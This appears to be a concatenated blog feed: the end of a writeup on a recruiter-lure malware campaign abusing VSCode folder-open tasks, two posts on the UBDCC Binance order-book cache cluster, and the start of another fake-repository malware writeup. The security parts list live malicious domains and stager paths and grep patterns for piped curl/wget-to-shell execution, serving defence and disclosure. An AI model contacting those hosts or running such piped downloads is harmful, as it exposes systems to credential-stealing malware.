• BeaverTail-style Node.js RCE/exfil chain

LinkedIn Trust & Safety

Reported the recruiter profile as potentially:

• fake

• compromised

• impersonated

• used as part of a recruiting malware campaign

I am deliberately not stating that the real-world person named on the profile is the attacker.

That is important.

The profile is part of the observed attack chain.

The identity behind it is a separate question.

VSCode hardening note

I am not treating this as a VSCode vulnerability claim in this article.

Workspace Trust is a real security boundary, and the attacker still needs the victim to grant trust.

But the user experience is still worth discussing because this campaign abuses the gap between two different mental models.

A user can interpret "I trust the authors" as:

"I trust this repository enough to inspect it."

A developer tool can interpret it as:

"Project-local automation may execute."

Those are not the same decision.

For runOn: folderOpen shell tasks, a safer design would require explicit per-task approval and display the complete command before first execution.

Especially when the task uses:

"presentation": {
  "reveal": "silent",
  "echo": false,
  "focus": false,
  "close": true
}

The important defensive lesson is not "VSCode is broken."

The lesson is:

Project trust can become command execution. Treat it accordingly.

Public threat-intel

Indicators from this investigation were submitted to public abuse.ch feeds.

ThreatFox:

https://threatfox.abuse.ch/browse/tag/jackpot/

URLhaus:

https://urlhaus.abuse.ch/browse/tag/jackpot/

My ThreatFox profile:

https://threatfox.abuse.ch/user/12877/

The indicators include:

• Vercel stager domains

• active stager URLs

• BeaverTail-style endpoint

• malicious file hashes

• campaign tag jackpot

• malware family tags where accepted by the platform

This matters because social-media warnings are useful, but structured threat-intel is ingestible.

Defenders can block it.

Researchers can pivot from it.

Platforms can correlate it.

That is the goal.

Detection ideas

Repository static checks

Before opening an unknown repository in any IDE, search for project-local execution surfaces:

find . -maxdepth 4 \( \
  -path "*/.vscode/tasks.json" -o \
  -path "*/.vscode/settings.json" -o \
  -path "*/.claude/settings.json" -o \
  -name "package.json" -o \
  -name "Makefile" -o \
  -path "*/.git/hooks/*" -o \
  -name "docker-compose.yml" \
\) -print

Search for suspicious folder-open tasks:

grep -RInE '"runOn"[[:space:]]*:[[:space:]]*"folderOpen"|curl.*\|.*(sh|bash|cmd)|wget.*\|.*(sh|bash)' .

Search for JavaScript runtime-eval patterns:

grep -RInE 'new Function|eval\(|process\.env|axios\.post|atob\(' .

Search for base64-looking environment values:

grep -RInE '^[A-Z0-9_]+=[A-Za-z0-9+/]{30,}={0,2}$' .env* 2>/dev/null

Runtime detection ideas

Watch for editor or Node processes spawning network downloaders:

Code.exe / code
  -> cmd.exe / powershell.exe / bash / sh
    -> curl / wget
      -> pipe to sh/bash/cmd

Watch for Node processes posting environment-sized payloads to unknown Vercel domains.

Watch for traffic to:

*.vercel.app/api/settings/linux
*.vercel.app/api/settings/mac
*.vercel.app/api/settings/windows

especially when launched by:

• VSCode

• Cursor

• Windsurf

• Claude Code

• npm

• node

• bash

• sh

• cmd.exe

• powershell.exe

Lessons learned

1. Unknown repositories are hostile until proven otherwise

Do not open unknown repositories directly in your normal IDE.

Not VSCode.

Not Cursor.

Not Windsurf.

Not Claude Code.

Not anything with project-level automation.

Use a plain text viewer, browser review, container, or VM first.

2. "Open this in VSCode" is now a security-relevant request

That sentence used to sound normal.

It is still normal in many contexts.

But in recruiter calls, freelance interviews, code-review lures, crypto projects, and "quick technical checks", it should raise your blood pressure a little.

Not panic.

Just friction.

A good answer is:

I do not open untrusted repositories directly in an IDE during calls.
I will inspect it offline in a controlled environment.

A real recruiter accepts that.

An attacker pushes back.

3. Trust prompts are not enough

The problem is not that users are stupid.

The problem is that the trust prompt asks the wrong question too broadly.

A user may trust a workspace enough to browse it.

That does not mean the user knowingly approved automatic shell execution.

Tooling needs finer-grained trust decisions.

Especially for:

• shell tasks

• lifecycle scripts

• hooks

• AI-agent startup hooks

• commands downloaded from the network

• commands piped into interpreters

4. AI coding tools have the same class of problem

This is bigger than VSCode.

The same trust-boundary issue exists in AI coding tools and agentic developer environments.

Project-local config is no longer just configuration.

It can be execution policy.

That includes files like:

.claude/settings.json
.vscode/tasks.json
.cursor/
.windsurf/
package.json
Makefile
.git/hooks/
docker-compose.yml
.github/workflows/

The security question is not:

Did I run the program?

The question is:

What did my tooling run for me?

5. Awareness works

I refused this attack because two days earlier I had read about the same trust-boundary problem in Claude Code through Zhangir Ospanov's PoC.

Different tool.

Same pattern.

That awareness changed my behavior at the exact right moment.

This is why I am linking his work directly:

• Zhangir Ospanov on LinkedIn

• claude-code-backdoor PoC on GitHub

So yes, sharing these findings matters.

Blog posts matter.

Reddit posts matter.

LinkedIn posts matter.

IOCs matter.

They put patterns into people's heads before the attacker reaches them.

If you were targeted

If you received recruiter outreach matching this pattern, or were asked to open the jackpot repository or a similar Web3 project in VSCode, treat it seriously.

If you only viewed the repository in a browser, you are likely fine.

If you downloaded the ZIP but did not open it in an IDE, run npm install, or execute scripts, you are likely fine.

If you opened it in VSCode and clicked Workspace Trust, or ran npm install, or started the app locally, treat the machine as potentially compromised.

Immediate steps:

1. Disconnect the machine from sensitive networks.

2. Preserve artifacts if you can do so safely.

3. Rotate credentials that were present in environment variables, shell config, npm config, cloud CLIs, wallet tooling, SSH agents, browser sessions, and developer secrets.

4. Check shell history, VSCode task history, npm logs, process execution logs, EDR telemetry, and outbound network logs.

5. Look for connections to Vercel /api/settings/* endpoints and y-hazel-ten.vercel.app/api.

6. Rebuild from a known-good state if execution is confirmed.

References

• AlienVault Pulse
  https://otx.alienvault.com/pulse/69f9ab38f883023c833b2fd8

• ThreatFox campaign tag: jackpot
https://threatfox.abuse.ch/browse/tag/jackpot/

• URLhaus campaign tag: jackpot
https://urlhaus.abuse.ch/browse/tag/jackpot/

• ThreatFox user profile:
  https://threatfox.abuse.ch/user/12877/

• Zhangir Ospanov — LinkedIn:
  https://www.linkedin.com/in/s0ld13r/

• Zhangir Ospanov — Claude Code backdoor PoC:
  https://github.com/s0ld13rr/claude-code-backdoor

• VSCode Workspace Trust documentation:
  https://code.visualstudio.com/docs/editing/workspaces/workspace-trust

• VSCode Tasks documentation:
  https://code.visualstudio.com/docs/editor/tasks

Closing thought

This was not a "malicious repository" in the old sense.

It was a malicious developer workflow.

The repository did not need me to run the app.

It needed me to behave like a normal developer.

Open the folder.

Trust the workspace.

Let the tool initialize.

That is the attack.

And that is why this needs to be understood beyond this single case.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

TL;DR — UBDCC is not "Redis for Binance order books". It is an order book trust layer: every layer of the stack — UBWA, UBLDC, the cluster, the dashboard — exists to turn a stream of binary diff messages into a finite, observable trust state your strategy can reason about. This post walks the stack end to end.

The previous post was the five-minute install: pip install ubdcc, kill a node, watch failover, copy a snippet from the API Builder, done.

This post is the why. What every layer is doing, why it exists, and how the pieces add up to something far more important than "we cached a JSON object".

Because in trading infrastructure, a wrong order book is worse than no order book. No data stops you. Bad data lies to you.

The framing comes out of a LinkedIn discussion on the quickstart. One reader put it sharper than I had so far:

"OutOfSync is not just an exception name. It is a finite trust state that the rest of the system can reason about."

That is the thread we are pulling here.

By the end of this post, you should understand:

• why a Binance order book can be wrong while still looking perfectly valid

• how UBLDC turns snapshots and diff streams into a finite sync state

• how UBDCC preserves that trust state across HTTP

• why #6000 is a feature, not just an error

• where REST is enough, and where gRPC starts to make sense

Layer 0 — What Binance actually gives you

Before any code, let's be honest about the raw material. Binance does not hand you truth. It hands you puzzle pieces.

Binance does not expose "the order book". It exposes two things:

1. A REST snapshot at a specific lastUpdateId. One HTTP call. For futures and options it is reasonably fresh; for European Options it is cached server-side for ~30 seconds, which becomes important later.

2. A diff-depth WebSocket stream of incremental updates, each tagged with U (first update id) and u (final update id), and on futures additionally pu (previous final update id).

To turn that into a usable order book you have to:

• Fetch the snapshot.

• Buffer diffs that arrive while the snapshot is in flight.

• Find the sync point: the first diff where U <= lastUpdateId+1 <= u (spot) or U <= lastUpdateId <= u (futures/options).

• Apply diffs sequentially, validating that each U equals the previous u + 1 (spot) or each pu equals the previous u (futures).

• Re-sync from scratch the moment a gap appears.

• Quietly accept that price levels which fall outside the top 1000 get no delete event. Binance just stops mentioning them. If you follow the docs literally, those levels stay in your book forever as ghost orders.

Most "order book" libraries do step 1, half of step 4, and then quietly hope reality stays polite.

Reality does not.

That is where silent corruption starts: the book still looks like an order book, the numbers still parse, your strategy still runs — but the data is no longer trustworthy.

The whole UBS stack exists to handle the rest of that list — and to make the result observable.

Layer 1 — UBWA: the event bus

UBWA is the WebSocket layer underneath everything. From the trust-layer perspective its job is simple to say and annoying to implement: turn an unreliable TCP connection to Binance into a clean event source for whatever sits on top.

What UBWA gives you that you would otherwise write yourself:

• One process, many streams. A single BinanceWebSocketApiManager multiplexes hundreds of subscriptions across multiple physical connections, respecting Binance's per-connection subscription cap.

• Auto-reconnect with state. When a socket drops, UBWA reconnects, re-subscribes, and emits a signal for every stream it touched so consumers can react.

• Stream signals as a first-class API. Pass process_stream_signals=... (or enable stream_signal_buffer) and every reconnect, disconnect, first-message-after-connect arrives as a structured event:

  def on_signal(signal_type, stream_id, data_record=None, error_msg=None):
      # signal_type ∈ CONNECT, DISCONNECT, FIRST_RECEIVED_DATA,
      #               STREAM_UNREPAIRABLE, NEW_STREAM_STARTED, ...
      ...
  

  This matters for the trust layer because it means UBLDC does not have to guess whether a stream gap was a real Binance gap or a socket reconnect. It gets told.

• Async-queue access to data. ubwa.get_stream_data_from_asyncio_queue(stream_id) is what UBLDC's diff loop awaits on. UBWA decouples the network side completely from the consumer side — consumers can fall behind without losing events, up to a configurable buffer cap.

UBWA is the only place in the stack that has to care about TCP chaos. Everything above it works in terms of ordered messages plus explicit connection signals. That separation is what keeps the next layer sane.

Layer 2 — UBLDC: the sync state machine

UBLDC sits on top of UBWA and is where the order book actually exists. It is also where most of the interesting decisions live. If UBWA is the event bus, UBLDC is the part that asks the uncomfortable question: "Can I still trust this book?"

For each market UBLDC keeps a small state record:

{
  "asks": {...},
  "bids": {...},
  "is_synchronized": False,
  "last_update_id": None,
  "last_refresh_time": None,
  "refresh_request": True,
  "refresh_interval": <int|None>,
  "stream_status": None,
}

Three flags do most of the work: is_synchronized, refresh_request, last_update_id. The whole loop in _manage_depth_cache_async() is a state machine over those.

Bootstrapping a market

When a market is added, refresh_request is True and is_synchronized is False. Diff events start arriving immediately from UBWA — they have nowhere to go yet, but UBLDC does not throw them away. They land in a per-market init_buffer.

In parallel, UBLDC checks the current Binance API weight before asking for a snapshot:

if current_weight['weight'] > 2200 or current_weight['status_code'] != 200:
    # Too close to the rate-limit ceiling, wait it out.
    continue

This is a small detail with a big production effect: UBLDC will not blindly hammer Binance with snapshot requests for 50 markets at once and then act surprised when rate limits bite. It yields when the weight is high.

When the snapshot arrives, the loop replays the buffered events, hunting for the sync point. Spot:

U <= lastUpdateId + 1 <= u

Futures / options:

U <= lastUpdateId <= u

The first event that matches flips is_synchronized = True. Anything buffered after that point gets applied with normal gap detection.

European Options has its own quirk — the snapshot's lastUpdateId can lag the live stream by ~30 seconds because Binance caches the snapshot server-side. UBLDC handles this by not dropping the buffer between failed sync attempts: events older than the snapshot get pruned, the rest is kept (capped at 10k) and replayed against the next snapshot. Without this you get an infinite resync loop and a very bad afternoon. With it, options markets just take a bit longer to come online.

Steady state

Once is_synchronized is True, the loop is short:

# Spot:
if event['U'] != last_update_id + 1:
    set_resync_request(market)   # gap → re-init from scratch
    continue

# Futures / options:
if event['pu'] != last_update_id:
    set_resync_request(market)
    continue

apply_updates(event)
last_update_id = event['u']

A single missed sequence number flips the cache out of sync and triggers a fresh snapshot. That is the entire point: a loud resync beats a quiet lie every time.

The orphaned-levels fix

Binance's diff stream guarantees consistent updates for the top 1000 levels of the book. When a level falls out of the top 1000 it stops getting updates — including delete events. A library that follows the spec literally accumulates ghost orders below the active band. The book grows a basement of dead orders nobody updates.

UBLDC actively prunes this by sorting the cache by price and dropping everything past the limit_count you query with — not just at read time, but as a _clear_orphaned_depthcache_items() pass during diff application. That is also why the ghost-orders post is its own writeup: the bug is in Binance's spec, not in any one client, and most production order books out there have it.

Periodic refresh

refresh_interval lets you force a periodic resync — say, every hour — even if no gap was detected. This is a belt-and-braces defence for very long-running processes. The default is None (don't), and you should leave it alone for normal workloads. Setting it too aggressively rebuilds caches that were perfectly fine, which costs Binance API weight and opens a window where the cache is in init state.

What UBLDC exposes upward

After all of this, UBLDC offers a flat synchronous API:

ubldc.is_depth_cache_synchronized(market="BTCUSDT")  # → True / False
ubldc.get_asks(market="BTCUSDT", limit_count=5)
ubldc.get_bids(market="BTCUSDT")

Notice what is not there: there is no get_asks_or_die_silently(). The synchronization status is a separate, queryable signal. Consumers can ask it before reading, or — more usefully — handle the case where a read happens during a resync. That is the seed of the trust layer pattern.

Layer 3 — UBDCC: the cluster

If you only need one Python process, UBLDC standalone is enough. UBDCC is what you reach for when the answer to "where does the order book live?" stops being "inside this script" and starts being "as a service my team can rely on without babysitting it".

The cluster is three roles. Nothing magical. No ceremony. Plain HTTP/JSON between them:

• mgmt (one) — owns the authoritative cluster DB: which markets exist, which DCN holds which replica, which API keys are mapped to which DCN. Distributes work. Serves write-side endpoints (/create_depthcache, /add_credentials, …). Backs itself up to every other node on every sync cycle.

• restapi (one to many) — public entry point. Looks up which DCN is responsible for a (exchange, market) query, routes to it, fails over to a replica if the primary doesn't answer, and surfaces the failover in the response so monitoring sees it.

• dcn (many) — each DCN runs one UBLDC manager and N markets. One DCN per CPU core is the rule of thumb (Python's GIL caps a single process to one core). Serves /get_asks / /get_bids directly.

Three architectural decisions are worth flagging because they look small and pay off enormously.

Disposable cache, durable contract

A DCN is replaceable. It is not precious. It holds a few in-memory order books and a WebSocket connection. Kill it, and the only loss is the time it takes mgmt to assign its markets to a different DCN and for that DCN to re-sync. The cluster DB is replicated to every node on every sync cycle, so even mgmt is replaceable — restart it and it pulls the most recent backup from whichever node has the freshest copy.

The takeaway from one of the LinkedIn replies sharpened this for me:

"REST queries over stateless cache means you spin replicas up and down without choreography, completely changing how you think about failover." — Peter Andreas

Exactly. The fragile thing in most setups is the cache itself. Treating cache replicas as cattle, not pets, is the entire reason failover is boring. And boring failover is good failover.

error_id #6000 — the trust signal on the wire

When a DCN gets a query for a market that is currently out of sync, it does not return last-known-good data with a happy 200. It returns this:

return self.get_error_response(
    event=event,
    error_id="#6000",
    message=f"DepthCache '{market}' for '{exchange}' is out of sync!"
)

That is the trust state crossing the network boundary. This is the moment where UBDCC stops being "a cache" and becomes a contract. The consumer now has three explicit options instead of one implicit one:

1. Wait — poll again in a moment, the cluster is re-syncing.

2. Reduce confidence — the strategy can still trade, but with a wider risk margin until the cache is back in sync.

3. Refuse — for strategies where stale data is worse than no data, the right move is to step out of the market entirely.

That decision belongs to the consumer, not to the cache. The cache should not cosplay as a risk engine. UBDCC's job is to preserve the trust signal across the boundary so the consumer is never accidentally trading on a stale book.

Replicas + staggered start

When you create a DepthCache with desired_quantity=3, mgmt picks three different DCNs for the three replicas and staggers their start times by a few seconds. That is deliberate, not cosmetic. Three parallel snapshot requests for BTCUSDT are three identical hits on Binance with no fault-tolerance benefit; staggering them means each replica is independently synced at a slightly different point in time, which also means at most one is ever in resync at any given moment under normal conditions. Failover stays cheap.

Replicas live on different DCNs by design. Mgmt's distribution scheduler refuses to put the same market twice on the same node — otherwise you would have "redundancy" that dies with a single process.

What's not there

• No Redis. No PostgreSQL. No etcd. Not because those tools are bad — because this problem does not need them at the core. The cluster DB is a Python dict that mgmt replicates to every other node on each sync cycle. This is a deliberate constraint: every external dependency you add is one more thing that needs to be deployed, secured, monitored and recovered. UBDCC's recovery story is "pick the node with the most recent backup, re-elect mgmt, done".

• No transport encryption inside the cluster. Yet. The internal API is plain HTTP. This is a known gap, documented honestly in the README: the assumption is that you firewall the cluster off and run it behind a private network. We are building from the core outward, not from the buzzword inward.

• No bot logic. UBDCC does not place orders, run strategies, generate signals, or move funds. It is the data layer you build those things on top of. If you want a trailing stop loss, that is UBTSL. If you want raw streams, that is UBWA.

Layer 4 — The dashboard: the trust layer for humans

The cluster speaks JSON. Operators speak in glances. If you need to read a log line to know whether the book is trustworthy, the UI is not doing its job.

The UBDCC Dashboard is a single-page browser app — vanilla JS, no framework, no tracking, served by a stdlib HTTP launcher — that turns the cluster's existing endpoints into a live operations view. It does not introduce new state; everything you see is something the cluster already knows.

Three things are worth zooming in on:

• Mini-orderbook tiles. Each DepthCache is a compact tile with top-3 asks/bids, quantity bars, and a spread in basis points. An IntersectionObserver plus a filter gate ensures only on-screen, matching tiles poll the cluster. You can have 600 caches and still scroll a smooth 2-second refresh.

• Trust state at a glance. Out-of-sync (#6000) tiles turn red. Other errors turn yellow with a compact message. The Cluster Status modal in the header (Pods / DepthCaches / DCNs / Credentials tabs, plus a pinned health strip) gives you the same view at the cluster level: per-DepthCache replica donut, distribution state, sync state.

• API Builder. Pick an endpoint, fill in a form, get a copyable snippet in curl, HTTPie, Python (using the official UBLDC Cluster client), JavaScript, Go, C#, Java, Rust, PHP or C/C++. A Try it → button runs GET-safe calls through the dashboard's CORS proxy and pretty-prints the JSON. This is how non-Python developers onboard onto the cluster — and, honestly, how I test endpoints when I do not feel like typing curl for the hundredth time.

The dashboard is also where the Credentials Manager lives (masked previews, two-click remove), the Add DepthCaches modal with live exchangeInfo symbol lookup, and the bulk × Remove filtered with a two-click confirmation that is only enabled when a filter is active — so you cannot accidentally wipe the cluster with one slip.

Where this is going next: gRPC

REST is a perfect onboarding contract. Anything HTTP-capable can read the cluster. That is hard to beat for "I want to be productive in 90 seconds".

For tight-loop consumers — market makers, arbitrage engines, anything that wants top-of-book fast enough that JSON starts to feel like furniture in the hallway — REST becomes the long pole. JSON parsing alone is often more expensive than the actual cluster- internal lookup. Long-poll patterns also fight against a stateless read API.

The next architectural step we are looking at is a gRPC contract alongside REST, not instead of it:

• Streaming reads. Subscribe once to (exchange, market, limit_count) and receive a server-pushed update on every diff the cluster applies — including a trust_state field that is IN_SYNC / OUT_OF_SYNC / RESYNCING. Same trust contract as the error_id #6000 you get from REST, just delivered as a first-class field on every message instead of an exceptional response. Order-book deltas become a typed event stream.

• Bidi for write-side ops. create_depthcaches over a streaming RPC means the dashboard (and any operator tool) can show progress per market — pending → starting → synchronized — without polling.

• Schema-first. Protobuf gives every language the same typed contract for free, including languages where the current REST approach forces hand-rolled DTOs.

REST stays for everything onboarding-shaped. gRPC is the path for high-throughput, low-latency reads where the trust signal needs to ride on the data instead of on top of it. This is idea stage — it is on the roadmap, not in the next release. If your use case sharpens the requirements, the issue tracker is the right place to push.

What this stack is — and what it composes with

Stack-from-the-bottom, one line each:

What it composes with:

• UBTSL — trailing stop loss engine. Reads UBDCC for the order book it trails against, places orders via UBRA.

• UBRA — REST client for everything that is not market data: account, orders, balances. Pairs naturally with UBDCC for read.

• UnicornFy — raw-payload normalizer. If you read from UBWA directly (rather than via UBLDC/UBDCC), UnicornFy is what gives you uniform Python dicts.

• Anything else. Node.js dashboard, Go execution engine, Rust research tool, C# alerting service — they all read the same trust-aware REST contract. That was the goal from the start.

The point

The reason this writeup is structured the way it is — Layer 0 to Layer 4 — is not just to tour the stack. The stack is documented in each repo's README. The point is that trust is not a feature you bolt on. It only works if every layer preserves it.

If UBWA hides reconnects, UBLDC cannot detect a real Binance gap. If UBLDC silently keeps an out-of-sync book, UBDCC has no honest status to report. If UBDCC returns 200 with stale data on #6000, the consumer's strategy is trading on a lie with a nice HTTP status code. Each layer's job is to either preserve the trust signal or fail loudly enough that the layer above can.

The infrastructure fails loudly. The API contract preserves the signal. The consumer makes an explicit decision instead of accidentally trading on stale state. That is what an order book trust layer is for. Not to make the market safe. To stop your own infrastructure from pretending it knows more than it does.

UBDCC, UBLDC, UBWA, UBRA, UBTSL, UnicornFy and the dashboard are all MIT, all on PyPI, all developed in the open. Repos:

• unicorn-binance-depth-cache-cluster

• unicorn-binance-local-depth-cache

• unicorn-binance-websocket-api

• ubdcc-dashboard

• unicorn-binance-suite (umbrella)

Star what is useful. Break what is wrong. Open issues where the contract is unclear. Or drop into the unicorndevs Telegram.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

This is the quickstart.

If you want the architectural “why” behind it — why UBDCC is not just a cache, why #6000 is a trust signal, and how UBWA → UBLDC → UBDCC turns Binance depth streams into an observable trust layer — read the companion deep-dive:

UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books

If your goal is simple — “I need a Binance DepthCache and I want it running now” — this is probably the shortest path I know.

With UBDCC, you can start live, correctly synchronized Binance DepthCaches in minutes, manage and automate the setup by code or REST, and use the browser dashboard as an additional operational interface with a built-in API Builder.

You do not need Kubernetes to start.
You do not need Redis.
You do not need PostgreSQL.
You do not need to build your own cache manager, failover logic, or API layer first.

The local quickstart is really just this:

pip install ubdcc
ubdcc start --dcn 4
ubdcc-dashboard start

And a few minutes later, you have live Binance DepthCaches running locally.

That is the point of this article.

Not theory.
Not architecture for architecture’s sake.
Just getting a real Binance DepthCache up and running quickly — and then understanding why the setup is stronger than it looks at first.

Not a Python developer?

That is fine.

UBDCC is implemented in Python, but once it is running, you use it like a local service over HTTP/JSON.

Your application can stay in Node.js, PHP, Go, Java, Rust, C#, or anything else that can make HTTP requests.

This is the hands-on quickstart. If you first want the technical background, read these two companion posts:

• Your Binance Order Book Is Wrong — Here's Why — why naive local Binance order books can silently accumulate stale levels.

• Why Your Binance Order Book Should Not Live Inside Your Bot — why shared market-data infrastructure is cleaner than per-bot cache ownership.

Video walkthrough

If you prefer to see the full setup once before going through the steps, here is the uncut quickstart video:

https://youtu.be/o1-nCravKnc

Who this is for

This is useful if you want a Binance DepthCache for things like:

• trading bots

• arbitrage systems

• market making

• dashboards

• alerting

• execution services

• research tools

• mixed-language setups where not everything is written in Python

If you only have one Python process and one local consumer, UBLDC may already be enough.

UBDCC is what you reach for when you want more than one in-process cache and do not want to build the rest of the infrastructure yourself.

What UBDCC is — and what it is not

UBDCC turns Binance DepthCaches into a running service.

Instead of every script opening its own WebSocket connection, downloading its own snapshot, and maintaining its own copy of the same market, you start UBDCC once and query the DepthCache over HTTP/JSON whenever you need it.

The cluster has three parts:

• mgmt — the coordinator that keeps cluster state and distributes work

• restapi — the HTTP interface your clients talk to

• dcn — short for DepthCache Node, a worker process that actually holds and maintains DepthCaches in memory

A DCN is where the real DepthCache work happens.

It fetches snapshots, consumes Binance depth streams, keeps books synchronized, re-syncs when needed, and can hold replicas for failover.

If you remember only one thing:

A DCN is the part of the cluster where the actual DepthCaches live.

UBDCC is not a trading bot.

It does not place orders, route execution, generate signals, manage portfolios, or decide what to trade. It is the market-data layer underneath those things.

Why this is useful in practice

Once a DepthCache is synchronized inside UBDCC, your consumers are no longer pulling fresh Binance snapshots again and again.

They are reading from the cache that is already running in your local cluster.

That gives you some very practical advantages:

• much lower latency than repeatedly going back to Binance REST

• far less pressure on Binance rate limits

• one running DepthCache can serve many consumers

• strategy restarts do not mean rebuilding the whole market view from scratch

• you can hit your local cluster as hard as you want without hammering Binance the same way

This is the same architectural shift I describe in more detail here: Why Your Binance Order Book Should Not Live Inside Your Bot

That is the practical value.

The “shared service” part is not the first thing the user wants.
The first thing the user wants is a Binance DepthCache that is up, correct, fast, and usable.

UBDCC just happens to solve the rest at the same time.

Step 1 — Install Python if needed

UBDCC is distributed as a Python package, so the machine that runs it needs Python 3.9 or newer.

That does not mean your own application has to be written in Python.

If you are a Node.js, PHP, Go, Java, Rust, or C# developer, think of Python here as a one-time runtime dependency: install it once, start UBDCC, and then use the running service over HTTP/JSON from your own stack.

Check whether Python is already available:

python3 --version

On Windows, if Python is missing, download and install it once from python.org.

Optional but recommended:

python3 -m venv ubdcc-env
source ubdcc-env/bin/activate
# Windows:
# ubdcc-env\Scripts\activate

Step 2 — Install UBDCC

python3 -m pip install ubdcc

That one package gives you the cluster components and the dashboard.

For the local quickstart, there is no long dependency story and no separate UI installation dance.

Install once and move on.

Step 3 — Start the cluster

ubdcc start --dcn 4

This gives you:

• 1 management process

• 1 REST API process

• 4 DCNs

That is already enough to get real Binance DepthCaches running locally with redundancy and failover potential.

After startup, note the REST endpoint, usually:

http://127.0.0.1:42081/

A setup that would normally take a fair amount of engineering work is available here as a package, a CLI, a REST API, and an optional browser dashboard.

Step 4 — Open the dashboard

In a second terminal:

ubdcc-dashboard start

By default, the dashboard binds to 127.0.0.1:8080 and opens in your browser.

Connect it to:

http://127.0.0.1:42081

The dashboard is optional, but it makes the first-run experience much easier and comes with a built-in API Builder for quick multi-language onboarding.

You can see nodes, markets, replicas, credentials, sync state, and generated API calls. That is why it matters so much: it turns a DepthCache cluster into something you can inspect and operate immediately.

Step 5 — Add credentials if needed

For pure Spot mainnet markets, you do not need credentials.

Credentials become relevant for some other Binance environments, some snapshot flows, and for getting more headroom where authenticated rate limits apply.

You can handle that through the dashboard or directly through code / REST.

In the dashboard:

• click Credentials

• choose the account group

• add an API key / secret pair

The cluster can then distribute credential assignments across nodes.

Step 6 — Create DepthCaches with replicas

Now create your first markets.

You can do this through the dashboard, through code, or directly through REST.

In the dashboard:

• click DepthCaches

• choose an exchange such as binance.com

• add symbols like BTCUSDT, ETHUSDT, BNBUSDT

• set Replicas to 2 or 3

• create them

This is the moment where the setup usually gets its first “okay, that is actually cool” reaction.

You are not creating one local cache in one process.

You are creating running Binance DepthCaches that are:

• synchronized

• visible

• replicated if you want

• ready to query over REST

Watch the tiles after creation.

They should move into a synchronized state. That is one of the strongest parts of the dashboard: it does not just show that a cache exists, it shows whether it is actually ready to trust.

The replicas are intentionally started with a slight delay. After a few minutes, they should all be in sync:

Step 7 — Kill a node and watch failover happen

Now for the part that makes the architecture feel real.

Create at least one market with replica count 3.

Then:

1. open the DCNs tab in the dashboard

2. find a DCN that hosts that market

3. copy the DCN name

4. go back to the operator console

5. remove that DCN by name

Example:

ubdcc> remove-dcn <dcn-name>

What should happen:

• the node disappears

• replica count temporarily drops

• the scheduler redistributes work

• a new replica comes up

• the market remains available through another replica

That is the difference between “I have a cache” and “I have a cache that survives node loss”.

Step 8 — Query the DepthCache over REST

Before touching application code, test from the shell.

curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&market=BTCUSDT&limit_count=5'

Or with HTTPie:

http GET 'http://127.0.0.1:42081/get_asks?exchange=binance.com&market=BTCUSDT&limit_count=5'

This is where the practical benefit becomes obvious.

You can hammer the local cluster with reads as much as you want.

Your consumers are no longer going back to Binance for fresh snapshots over and over again. They are reading from the synchronized DepthCache that UBDCC is already maintaining.

That is faster, easier on rate limits, and especially useful once several bots, dashboards, and services all need the same market view at the same time.

If you want to see how this idea behaves once moved from a local quickstart to Kubernetes, I later ran a larger stress test: I Created 2013 Binance Order Books on Kubernetes with 2 Replicas in 25 Minutes — Then Stress-Tested the REST API

In that follow-up, I created 2013 Binance Spot and Futures markets with 2 replicas each — 4026 replicated DepthCaches in total — on six low-cost Vultr Kubernetes nodes and then tested the REST API with Grafana Cloud k6.

Step 9 — Generate client code for your language

Now open the API Builder in the dashboard.

This is one of the strongest parts of the whole setup.

The dashboard can generate snippets for:

• curl

• HTTPie

• Python

• JavaScript

• Go

• C#

• Java

• Rust

• PHP

• C/C++

So if your stack is mixed, the onboarding flow becomes very simple:

• create the DepthCaches once

• query them from any language

• copy the snippet

• paste it into your project

That is exactly how a system like this becomes useful outside one developer’s Python process.

Simple Python example

Python users can go two ways.

Raw HTTP

import requests

response = requests.get(
    "http://127.0.0.1:42081/get_asks",
    params={
        "exchange": "binance.com",
        "market": "BTCUSDT",
        "limit_count": 5
    },
    timeout=10
)

print(response.json())

Official cluster client

If you already live in the UNICORN Binance world, you can also use the official cluster-aware client path instead of raw HTTP.

That gives Python users a smooth migration path from local caches to shared cluster-backed access.

Related projects

If you want to go deeper into the stack:

• UBLDC — standalone local DepthCaches for single-process Python use and the UBDCC python client

• UBWA — Binance WebSocket layer underneath the stack

• UBTSL — trailing stop-loss engine from the same suite

• UNICORN Binance Suite — the umbrella project

Final thoughts

The nice thing about UBDCC is that it starts simple.

You come for a working Binance DepthCache.

What you also get is:

• correct synchronization

• explicit cache state

• replicas

• failover

• browser management

• multi-language access

• fast local startup

• room to scale later

That is a lot to get from a pip install.

Related background:

• Your Binance Order Book Is Wrong — Here's Why

• Why Your Binance Order Book Should Not Live Inside Your Bot

• I Created 2013 Binance Order Books on Kubernetes with 2 Replicas in 25 Minutes — Then Stress-Tested the REST API — how the same idea behaves at Kubernetes scale with 4026 replicated DepthCaches and Grafana Cloud k6 load tests.

If you want to try it:

• UBDCC: https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster

• UBDCC Dashboard: https://github.com/oliver-zehentleitner/ubdcc-dashboard

• Telegram: https://t.me/unicorndevs

If something in this guide is unclear, missing, or does not work in your setup, please post it in the comments.

I am happy about constructive feedback, real-world test results, error reports, edge cases, and improvement ideas. If something is useful for others too, I will try to pick it up and improve the article accordingly.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

Update (2026-04-23):

• 19 fake GitHub repos confirmed across 17 accounts

• nailproxy.space identified as the delivery-domain root; api.nailproxy.space operated as delivery C2

• final-stage payload behavior consistent with StealC v2

• GitHub takedown requested

• IOCs submitted to ThreatFox/AlienVault and published into the public threat-intelligence ecosystem

How it started

A few weeks ago I was doing some basic SEO work for my UBS projects.

On a Wednesday morning, still in bed with coffee, I did something most open-source maintainers have probably done at some point: I searched Google for my own project name — in this case, “unicorn binance websocket api” — just to see what showed up.

One of the top results was not mine.

